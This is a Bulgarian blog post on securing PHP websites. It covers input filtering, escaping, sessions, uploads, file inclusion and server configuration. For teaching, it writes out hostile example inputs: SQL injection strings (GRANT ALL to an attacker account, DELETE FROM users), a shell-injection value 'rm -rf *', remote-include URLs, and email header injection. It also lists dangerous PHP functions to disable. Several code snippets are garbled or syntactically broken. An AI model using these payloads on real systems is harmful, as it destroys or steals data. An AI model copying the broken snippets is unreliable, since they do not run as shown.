Решения за увеличаване на сигурността на PHP сайт
Какво се има предвид под СИГУРНОСТ?
защита при информация на клиентите и използване услугите на сървара за незаконни действия(изпращане на спам).
Често срещано явление.
Security through obscurity - НЕ РАБОТИ!
ПРОВЕРЯВАЙТЕ ВСИЧКО!
Open source не гарантира сигурност.
Търсете :
Google: ключови думи - exploit, vulnerability, security etc.
Bugtraq: http://marc.theaimsgroup.com/?l=bugtraq
Допитайте се до други (благонадеждни) мнения
http://phpxref.sourceforge.net
Променете стандартната парола!
Никога не се доверявайте на входящи данни от потребител. Получаването на некоректни данните от потребителя може да причинят големи проблеми за вашият скрипт.
Решения за увеличаване на сигурността
Проучете всичко , което може да засегне приложенията, и вземете съответните предпазни мерки, които трябва да бъде предприета да гарантират на потребителя оптимално ниво на неприкосновеност. Сигурността е насочена към защитаване на интересите на бизнесът и потребителите.
1.Филтриране на входните данни.
-това е процесът, чрез който вие инспектирате данните за тяхната валидност.
-данни ще бъдат невалидна освен ако вие можете да докажете обратното.
-филтриране е безполезно ако вие не знаете какво сте филтрирали и какво не.
-използвайте стриктна конвенция за наименуване, която разграничава лесно и надеждно разликите между сигурните данни и заразените. Трябва да различавате некоректни и филтрирани данни($safe_var;$clean_var).
Пример:
1
2
3
4
5
6
7
8
9
10
11
12
13
//Инициализираме променливата
$clean = array();
//Достъп до валидна част
switch($_POST['color']) {
case 'red':
case 'green':
case 'blue':
// Цветът определено е валиден, така че, го добавяме в масивът.
$clean['color'] = $_POST['color'];
break;
}
?>
Филтриране на изходящите данни - избягване и премахване на нежелани данни и символи преди извеждането им на екрана.
Изходящи данни са:
-Всичко което се изпраща към клиентът е изходящи данни.(HTML, JAVASCRIPT и т.н..)
-Не само клиентът е застрашен, а и базите данни, сесиите, RSS хранилищата и други.
-Идентифицирайте за кого са предназначени данните. Ако то е предопределено за каквато и да е далечна система, това е изход и трябва да бъдат избегнати невалидни стойности, ненужни или специални символи и т.н..
-Някои знаци ще бъдат разбрани по специален начин, което ще бъде погрешно и опасно.
--O'Reilly (SQL)
--AT&T (HTML)
Избягването е процесът, чрез който вие предотвратявате намесата на нежелани символи и данни от какъвто и да е характер, който имат специално значение за отдалечената система. Използвайте htmlentities и mysql_real_escape_string , те ще ви свършат работа.
Пример 1:
CODE
1
2
3
4
5
6
7
//Инициализираме променливата
$html = array();
//Превърнете всички неблагоприятни символи в безопасни HTML-кодирани стойности и ги поставете в масива
$html['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8');
echo "
Welcome back, {$html['username']}.
";
?>
Пример 2:
CODE
1
2
3
4
5
6
7
8
9
//Инициализираме променливата
$mysql = array();
//Избягваме неблагоприятните символи
$mysql['username'] = mysql_real_escape_string($clean['username']);
$sql = "SELECT * FROM profile WHERE username = '{$mysql['username']}'";
$result = mysql_query($sql);
?>
Филтриране да входа
-Премахнете или деактивирахте (отбягвайте) всеки лош елемент
--„Черен списък”: http://en.wikipedia.org/wiki/Blacklist
-Нужни инструменти/функции и разширения
--http://www.php.net/mysql_real_escape_string
--http://www.php.net/strip_tags
--http://pecl.php.net/package/filter (PHP разширение)
--http://www.modsecurity.org
Проверяване за валидност на входа
-Проверявайте за съвпадения при вход
-„Бял списък”: http://en.wikipedia.org/wiki/Whitelist
-Лесно е да дефинирате малък обхват на дадения вход
Проверка за валидност срещу филтрирането
-Проверката за валидност е по-лесна и е предпочитана
-Филтрирането е добро за потребителите, а проверка за валидност е предпочитана от програмистите.
-Може да бъдете много трудно да филтрираме всичко
http://www.procata.com/blog/archives/2005/03/31/theusabilityofinputfilte...
-В действителност вие имате нужда от двата метода
-При влизане на потребителя имаме нужда от стриктна проверка за валидност, както и от филтриране понякога.
-Коментарите в BLOG-а имат нужда от филтриране, както и от проверка за валидност(Примерно: максимална дължина).
Структурирайте вашият код
-Лесно е да видим откъде идват входящите данни.
-Лесно се преценява какъв код трябва да изпратим към изхода.
-Ето какво трябва да направим:
--Филтрираме
--Проверяваме за валидност данните
--Използваме ги в приложението
--Премахваме или избягваме неблагоприятните символи и данни преди изпращането към изхода.
Бъдете сигурен, че вход е филтриран и при изхода са избегнати нежелани символи и данни. Никога не се доверявам на каквото и да е, идващо отвън…… и винаги знайте какво трябва да очаквате.
Входящи данни
Входящите данни са глобални променливи, които предлагат много елементарен достъп на информация изпратена ни от потребителя, RSS feeds и други.
CODE
1
2
3
4
5
6
7
$_GET – данни при get заявка
$_POST – данни при post заявка
$_COOKIE – данни от бисквитките
$_FILES – данни при качване на файлове в сървара
$_SERVER – информация за сървара
$_ENV – променливи на обкръжението
$_REQUEST – комбинация от GET/POST/COOKIE
Ключът е да разберем и да идентифицираме източникът на данни. Ако е от външен източник, то е входно и трябва да бъде филтрирано.
Видове вход
HTML Forms:
CODE
1
2
3
4
5
form
input
$_GET
$_POST
$_REQUEST
Databases:
CODE
1
2
mysql_query()
SELECT
HTTP Headers:
CODE
1
2
$_COOKIE
$_SERVER
Видове изход
Client:
CODE
1
2
3
echo
print
=
Databases:
CODE
1
mysql_query()
Commands:
CODE
1
2
3
exec()
passthru()
system()
Глобални променливи
Безспорно те са най-обикновеният източник на уязвимост в приложения на PHP. Защо е така?
Многочислено инжектиране
Многочисленото инжектиране умножава потенциалната повреда, която нападател може да причини, чрез даване на повече от една разрушителна инструкция, която ще бъде включена в запитването.
Това е лесно с MySQL, където първо маркира краят на очакваната заявка ,прекратява инструкция с точка и запетая. Сега допълнителната нападаща инструкция може да бъде прибавена към краят на прекратената оригинална инструкция. Произтичащото разрушително запитване може да изглежда така:
CODE
1
2
3
4
5
6
//Ако се зададе на $_POST['lagrein'] '; GRANT ALL ON *.* TO 'BadGuy@%' IDENTIFIED BY 'gotcha
$lagrein = $_POST['lagrein'];
$query = "S ELECT * FROM wines WHERE variety = '$lagrein'";
?>
Резултатът е:
CODE
1
2
3
SELECT * FROM wines WHERE variety = ''; GRANT ALL ON *.* TO 'BadGuy@%' IDENTIFIED BY 'gotcha'
?>
Как да се защитим?
Избягвайте всеки съмнителен знак в вашите запитвания използвайки предоставените от PHP функции mysql_real_escape_string
Не се доверявайте на magic_quotes_gpc
Пример 1:
CODE
1
2
3
4
5
6
7
8
9
10
11
12
// Ако „магическите кавички са пуснати” премахваме дублираните „” символи
if (get_magic_quotes_gpc()) {
$_GET['name'] = stripslashes($_GET['name'];
$_GET['binary'] = stripslashes($_GET['binary']);
}
// Нормализираме данните
$name = pg_escape_string($_GET['name']);
$binary = pg_escape_bytea($_GET['binary']);
pg_query($db, "I NSERT I NTO tbl (name,image) V ALUES ('{$name}', '{$image}')");
?>
Пример 2:
CODE
1
2
3
4
5
$comments = ‘Бъдете внимателни’;
$query = sprintf("I NSERT I NTO myTable (comments) V ALUES('%s')"
, mysql_real_escape_string($comments));
?>
Пример 3:
CODE
1
2
3
4
5
6
7
8
9
function safe( $string ) {
return "'" . mysql_real_escape_string( $string ) . "'";
}
$variety = safe( $_POST['variety'] );
$query = "S ELECT * F ROM wines W HERE variety=" . $variety;
?>
Резултатът е:
CODE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
SELECT * FROM wines WHERE variety = 'lagrein' or 1=1;'
?>
[code]
Внимавай!
Някои символи , който могат да доведат до проблем не се отстраняват от предоставените ни в PHP функции. Бъдете внимателни!
Пример:
[code=php]http://example.com/db.php?id=0;DELETE%20FROM%20users
// $id ще съдържа 0;D ELETE FROM users
$id = sqlite_escape_string($_GET['id']);
// Сбогом потребителски данни .....
sqlite_query($ db,"S ELECT * FROM users WHERE id={$id}");
?>
Повече информация за SQL инжекциите на :
http://php.net/manual/en/security.database.sql-injection.php
http://www.unixwiz.net/techtips/sql-injection.html
Инжекция на шел команди
Ако използвате външни данни в команди (използувате exec (), system (), и т.н.), нападател може потенциално да изпълни своеволни команди.
Пример:
CODE
1
2
3
$listing = ls -al $dir;
?>
CODE
1
2
3
4
//Какво ако...
$dir = '/tmp; rm -rf *';
?>
Решение:
Стриктна проверка за валидност и както винаги трябва да филтрираме входа и изхода. В този случай, за избягване на некоректни данни към изход може да използувате escapeshellcmd() и escapeshellarg(); функциите ;
За повече информация на :
http://www.php.net/language.operators.execution
http://www.php.net/manual/en/ref.exec.php
Уязвимост при качване на фалове в сървара(UPLOAD)
Някои сайтове се нуждаят от изпращане на фалове към сървара от страна на потребителя, но това може да бъде опасно.
Пример:
CODE
1
2
// Преместваме изпратеният ни файл в отреденото му място
move_uploaded_file($_FILES['thefile']['tmp_name'],$_FILES['thefile']['name']);
Уязвимост 1:
Може да се качи файл(хак.php) , които ще ни позволи изпълнението на наши скриптове.
Уязвимост 2:
Ако изпратим примерно /etc/password ще заменим файла с паролите с нашия, което ще е пагубно за сървара.
Как да се защитим?
Прибавете специфично разширение(.uploaded;.jpg;.gif;.png;….)
Преместете файловете в определена директория, където нападателят няма достъп.
Премахнете специалните символи от името на файла
Сигурност на сесиите
Сесиите са общ инструмент за проследяване на потребителя докато е в уеб-сайта. Тя е ефективна идентичността за времетраенето на посещението на потребителят. Ако активна сесия бъде придобита от 3-то лице, то може да приемем, че идентифицирането на потребителят, намиращ се в сесията е компрометирано.
Проблем:
Нападател може да се възползва от потребител, ако сесийният идентификатор на потребител бъде разбран(откраднат) по някакъв начин от нападателят.
Решение:
Защитете идентификаторът на сесията от излагане. Използвайте SSL и го разпространявайте в бисквитка. За да задълбочите защитата, добавете знак за автентикация за да подсилвате идентичността на клиентът.
Сигурност на идентификационния номер на сесията
За да предотвратим кражба на идентификация за сесия, идентификацията може да бъде променена по всяко искане, анулирайки стари стойности.
Пример:
CODE
1
2
3
4
5
6
session_start();
if (!empty($ _SESSION)) { // Имаме ли активна сесия?
// създайте нов идентификационен номер на сесия
session_regenerate_id(TRUE);
} ?>
Внимание!
Променяйки при всяко извикване на скрипта дадена сесия, бутона за връщане назад няма да работи така както очакваме, защото при връщане ще изиска старата сесия.
Проверка за валидност на сесия
Друга техника за сигурността на сесията е да сравнява заглавните части на браузер за сигнатура.
Пример:
CODE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
session_start();
$chk = @md5(
$ _SERVER['HTTP_ACCEPT_CHARSET'] .
$ _SERVER['HTTP_ACCEPT_ENCODING'] .
$ _SERVER['HTTP_ACCEPT_LANGUAGE'] .
$ _SERVER['HTTP_USER_AGENT']);
if (empty($_SESSION)){
$ _SESSION['key'] = $chk;
} else if { ($_SESSION['key'] != $chk)
s ession_destroy();
}
?>
Безопасно съхранение на сесиите
По подразбиране сесиите на PHP се съхраняват в / TMP директорията на сървара.
Това е опасно ,защото всеки потребител на системата може да види активните сесии и да ги "придобие" или промени тяхното съдържание.
Решения?
Определете сигурно място за съхранението им чрез session.save_path
Съхраняване в база данни ( MySQL, PGSQL, OCI)
Съхраняване на сесиите в поделена памет
Необичайни места за съхранение на данните.
Зареждане на файлове с include
Пример 1:
CODE
1
2
3
4
5
6
7
8
9
10
11
12
// index.php – Класическа грешка
if ( $_GET['page'] ) {
include($_GET['page']);
} else {
include("home.php");
}
?>
//Задаването по този начин на параметъра може да е пагубен
http://mysite.ch/index.php?page=.%2Finstall%2Fsetup.php
http://mysite.ch/index.php?page=http%3A%2F%2Fhack.net%2Fattack.txt
Пример 2:
CODE
1
2
3
4
5
6
7
// Очакваме
http://www.win.tue.nl/.../index.html?url=http://www.google.nl
//Но ни е зададен параметъра по този начин
http://www.win.tue.nl/.../index.html?url=/etc/passwd
?>
Решение:
Зареждайте външни файлове тогава, когато имате само вие контрол над тях.
Email инжекция
CODE
1
2
3
4
5
6
7
8
9
10
//PHP функция за изпращане на e-mail съобщения
bool mail ( string to, string subject, string message [, string additional_headers [, string additional_parameters]] )
//Взимаме адреса на когото ще пращаме пощата
$from=$_POST['sender'];
//Изпращаме съобщението
mail('me@mail.ch','Testing','Msg Body',"From: $fromn");
?>
CODE
1
2
3
4
// Какво ще стане ако...
$_POST['sender'] = "From: joe@bluewin.chnCc: spamvictim@gmx.net"
?>
Решение:
-Филтрирайте изхода
-Използвайте
CODE
1
PEAR::Mail (http://pear.php.net/package/Mail)
За повече информация на:
http://securephp.damonkohler.com/index.php/Email_Injection
Настройки и препоръки
Error Reporting
По подразбиране PHP ще отпечатва всички грешки към екран, плашейки вашите потребители и в някои случаи разкривайки привилегирована информация като:
Път до файлове
Не-инициализирани променливи
Чувствителни аргументи за функции. (потребителски имена, пароли,...)
Не показвайте грешки при активен сайт. В частност, не показвайте и HTML грешки(XSS). Този проблем може да бъде решен, като се деактивира показването на съобщения за грешка на екран.
Пример 1:
CODE
1
2
3
4
5
6
7
8
9
ini_set(“display_errors”, FALSE);
И позволите - записването на грешките
i ni_set(“log_errors”, TRUE);
във файл
i ni_set(“error_log”, “/var/log/php.log”);
или да оставите системата да се погрижи за тях
ini_set(“error_log”, “syslog”);
?>
Пример 2:
CODE
1
2
3
4
5
6
7
8
9
10
// .htaccess
php_flag "display_errors" "0"
php_flag "html_errors" "0"
// Ако искате да проследите възникналите грешки използвайте ги записвайте на диска.
php_value "error_log" "/home/harryf/errors.log"
php_flag "log_errors" "1"
php_flag "ignore_repeated_errors" "1"
?>
В същото време, деактивирайки показването на грешка ще се направи проследяването на бъгове почти невъзможно.
Файлова сигурност
Много PHP приложения се нуждаят от условия и настройки за да работят. Фаловете се използват в приложения и са световно четими.
Те са в уеб пространството и могат да бъдат сваляни и разглеждани от всеки.
Външен достъп
Не поставяйте файлове в корен на мрежа, който не трябва да бъде там.
Ако нищо не трябва да се извежда от файлът, дайте му разширение .php.
Използувайте .HTACCESS за да блокирам достъп до файлове и директории
Пример:
CODE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Order allow,deny
Deny from all
[code]
Сигурност на конфигурационните файлове
Конфигурационните скриптове обикновено съдържат чувствителна информация, която трябва да бъде пазена от частни лица.
Отказвайки единствено уеб достъпа не е решение. Все още имат достъп потребителите на системата.
Идеална конфигурация е , когато файловете бъдат четими само от собственикът.
Решение №1
Ако в конфигурационния файл се съхраняват само настройки за достъп да база данни, може да ги поставите в ini файл и да ги заредите с include директивата от httpd.conf.
Пример:
[code]mysql.cnf
mysql.default_host=localhost
mysql.default_user=forum
mysql.default_password=secret
httpd.conf
Include “/site_12/mysql.cnf”
Apache има достъп до файловете като “ROOT”. Може да ограничите правата на достъп върху файловете (600) и пак ще са достъпни от сървара.
Решение №2
Може да използвате променливите на обкръжението и достъпа на apache до тях.
Пример:
CODE
1
2
3
4
5
6
7
8
9
10
11
12
13
misc_config.cnf
SetEnv NNTP_LOGIN "login"
SetEnv NNTP_PASS "passwd"
SetEnv NNTP_SERVER "1.2.3.4”
httpd.conf
Include “misc_config.cnf”
e cho $ _SERVER[‘NNTP_LOGIN’]; // login
e cho $ _SERVER[‘NNTP_PASS’]; // passwd
e cho $ _SERVER[‘NNTP_SERVER’]; // 1.2.3.4
Много потребители и само един „root” = много малка сигурност.
Повечето PHP приложения работят в поделени среди където има много потребители и сървара се грижи за техните заявки. Това значи, че всички папки трябва да бъдат достъпни за уеб-сърверът (световно четими).
Следователно , всеки потребител може да чете съдържанието на всички други потребители.
PHP решението на този проблем са 2 INI директиви.
open_basedir – регистрира границите на достъп до една или повече определени директории. Това е относително ефективно и не е сложно.
safe_mode – регистрират граници на достъп, основан на UID / GID на работещ скрипт и файл, който ще бъде достъпен. Бавен и сложен подход и може да бъде заобиколено с малко усилие.
Автентикация / контрол за достъпът
PEAR::Auth - само автентикация
http://pear.php.net/package/Auth/
PEAR::LiveUser - автентикация и контрол за достъпът
http://pear.php.net/package/LiveUser/
patUser LiveUser - автентикация и контрол за достъпът
http://www.phptools.net/site.php?file=/patUser
phpGACL - контрол за достъпът
http://phpgacl.sourceforge.net/
Препоръки за сигурна настройка на PHP(php.ini)
expose_php = Off (Съобщава дали PHP е инсталирано на сърварът)
display_errors = Off (Съобщенията за грешка на PHP не са показват. Най-малко възможно разкриване на информация.)
error_log = /var/log/php (Това е лог-файлът за грешка на PHP. )
register_globals = Off (Това предотвратява директното вмъкване на аргументи като променливи. Така се променя начинът, по който аргументите се получават от скриптовете. Повече на http://www.php.net/manual/en/security.globals.php)
disable_functions = ( Забраняваме използването на някои функции)
изпълнение на външни програми - exec, passthru, proc_open, shell_exec, system, popen, pcntl_fork, pcntl_exec
отваряне на връзки - fsockopen, pfsockopen, socket_bind, socket_accept, socket_listen, socket_create, stream_socket_client, stream_socket_server
разни - dl, glob, posix_*, phpinfo, show_source, eval
Препоръки за сигурна настройка на Apache (httpd.conf)
Заменете това:
CODE
1
2
3
4
5
6
7
8
9
10
11
12
13
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
Allow from all
с това:
Options none
Allow Override None
Order allow,deny
Allow from all
- Блог на LordofDreams
- Идентифицирайте се или се регистрирайте за да изпращате коментари